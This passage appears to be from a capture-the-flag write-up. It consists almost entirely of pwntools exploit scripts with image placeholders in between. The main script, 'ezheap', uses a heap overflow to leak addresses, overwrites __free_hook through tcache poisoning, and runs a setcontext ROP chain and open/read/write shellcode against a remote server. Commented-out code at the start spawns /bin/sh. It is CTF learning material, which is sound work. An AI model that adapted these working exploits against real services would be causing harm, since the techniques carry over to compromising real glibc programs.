pause() # 这个必须有,不然这次输入会被吞掉。
ru("go!\n")
jsp_add = asm("add rsp ,0x300;")
orw = shellcraft.open('./flag')
orw += shellcraft.read('rax','rsp',0x100)
orw += shellcraft.write(1,'rsp',0x100)
orw = asm(orw)
sl(jmp_rsi+jsp_add+orw)

# print(p.recv())
# puts_shell = asm("mov rsi,0x601028; mov al,0x1; mov edi, 1; syscall; mov rsi,0x4008F1;jmp rsi;") # puts(puts_got)
# print(len(puts_shell))
# s(shellcode+puts_shell)

# write_addr = u64(p.recvuntil(b"\x00")[-7:-1].ljust(8, b"\x00"))
# print(hex(write_addr))
# libc.address = write_addr - libc.sym.write
# print(hex(libc.address))
# # binsh = libc.address + 0x1B45BD
# binsh = libc.address + 0x1D8678
# print(hex(binsh))
# sh_shell = asm(f"xor rsi,rsi; mov rdi, {binsh}; mov al,0x3b;cdq;syscall;")
# pause()
# # sh_shell = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
# ru(b'journey\n')
# shellcode = asm("jmp rsi")
# pay = p64(0x400820)+p64(pop_rsp)+shellcode
# s(pay)
# pause()
# hint = 0x400817
# ru(b'Deep Sea\n')
# s(p64(hint)+p64(0x4008EA))
# ru(b"have magic\n")
# shellcode = asm("syscall")
# s(shellcode)
# pause()
# ru("Let's go!\n")

# s(shellcode+sh_shell)
# pause()
# print(p.recv())
ia()

image-20241220200926195

ezheap

from pwn import*  
context(os='linux',arch='amd64',log_level='debug')
# elf=ELF('./ezheap')
# p=process('./ezheap')
p=remote('139.155.126.78',27277)
libc=ELF('./libc.so.6')

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(p.recv(10),16)
iuu64 = lambda : int(p.recv(6),16)
uheap = lambda : u64(p.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : p.interactive()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))


def cmd(i):
sla(b'Your choice:',str(i))

def add(idx,size):
cmd(1)
sla(b'index:',str(idx))
sla(b'Size:',str(size))

def free(idx):
cmd(3)
sla(b'index:',str(idx))

def show(idx): #
cmd(4)
sla(b'choose:',str(idx))

def edit(idx,con):
cmd(2)
sla(b'index:',str(idx))
sa(b'context:',con)

# prepare
pause()
add(0,0x18)
add(1,0x68)
add(2,0x68)
add(3,0x18)
edit(0,b'\x00'*0x18+p8(0xe1))
free(1)
add(4,0xd8)

# pie
show(4)
ru(b'\n')
pie = int(p.recv(14),16)-0x202160
lg(pie)

free(2)
edit(4,b'\x00'*0x68+p64(0x71)+p64(pie+0x202020))
add(5,0x68)
add(6,0x68)
add(7,0x68)

####
edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base=get_addr()-0x3ed8b0
lg(libc_base)
pause()

# rop 打free hook
pop_rdi = libc_base+0x2164f
pop_rsi = libc_base+0x23a6a
pop_rdx = libc_base+0x1b96
pop_rax = libc_base+0x1b500

ret = libc_base+libc.search(asm("ret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
jmp_rsp=libc_base+libc.search(asm("jmp rsp")).__next__()

free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']+53
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']

payload = b'\x00'*0x68+p64(0)+p64(free_hook&0xfffffffffffff000)+p64(0)*2+p64(0x2000)
payload = payload.ljust(0xa0,b'\x00')+p64(free_hook&0xfffffffffffff000)+p64(syscall)

add(8,0x18)
add(9,0x58)
add(10,0x58)
add(11,0x18)
edit(8,b'\x00'*0x18+p8(0xc1))
free(9)
add(12,0xb8)
free(10)
edit(12,b'\x00'*0x58+p64(0x61)+p64(free_hook))
add(13,0x58)
add(14,0x58)
edit(14,p64(setcontext))
add(15,0x400)
edit(15,payload)
free(15)


payload = p64(pop_rdi)+p64(free_hook&0xfffffffffffff000)
payload += p64(pop_rsi)+p64(0x1000)
payload += p64(pop_rdx)+p64(7)
payload += p64(pop_rax)+p64(10)
payload += p64(syscall)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,free_hook+0x300,0x30))
payload += asm(shellcraft.write(1,free_hook+0x300,0x30))

sl(payload)

ia()

image-20241220201014845

image-20241220201023455

image-20241220201031307